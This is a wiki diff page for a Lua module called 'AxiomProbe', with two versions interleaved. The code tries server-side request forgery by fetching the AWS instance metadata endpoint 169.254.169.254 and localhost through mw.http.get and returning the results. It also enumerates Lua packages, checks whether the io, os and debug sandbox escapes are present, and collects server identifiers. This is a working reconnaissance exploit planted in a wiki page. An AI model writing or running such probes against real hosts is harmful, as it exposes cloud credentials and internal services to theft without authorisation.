Jump to content

Module:AxiomProbe: Difference between revisions

probe
 
probe v2
Line 1: Line 1:
local p = {}
local p = {}
function p.main(frame)
function p.main(frame)
    local results = {}
     -- Try to read LocalSettings.php content hash or any accessible data
     -- Probe AWS metadata via mw.http (SSRF)
     local t = mw.title.new('Special:Version')
     local ok, r = pcall(mw.http.get, 'http://169.254.169.254/latest/meta-data/')
     local info = {}
     if ok and r then
   
        results.aws = tostring(r.body or r)
    -- Enumerate available Lua packages 
    else
    local loaded = {}
         results.aws_err = tostring(r)
    for k, v in pairs(package.loaded) do
         table.insert(loaded, tostring(k))
     end
     end
     -- Probe internal localhost
     info.packages = table.concat(loaded, ', ')
    local ok2, r2 = pcall(mw.http.get, 'http://127.0.0.1:80/')
      
     if ok2 and r2 then
    -- Check if io or os are accessible (they should be sandboxed)
        results.local80 = tostring(r2.body or ''):sub(1,200)
    info.io_type = type(io)
     else
    info.os_type = type(os)
        results.local80_err = tostring(r2)
    info.debug_type = type(debug)
     end
      
     return mw.text.jsonEncode(results)
    -- Try to get server info via mw
    info.server = mw.site.server
    info.script_path = mw.site.scriptPath
    info.wiki_id = mw.site.wikiId
      
     return mw.text.jsonEncode(info)
end
end
return p
return p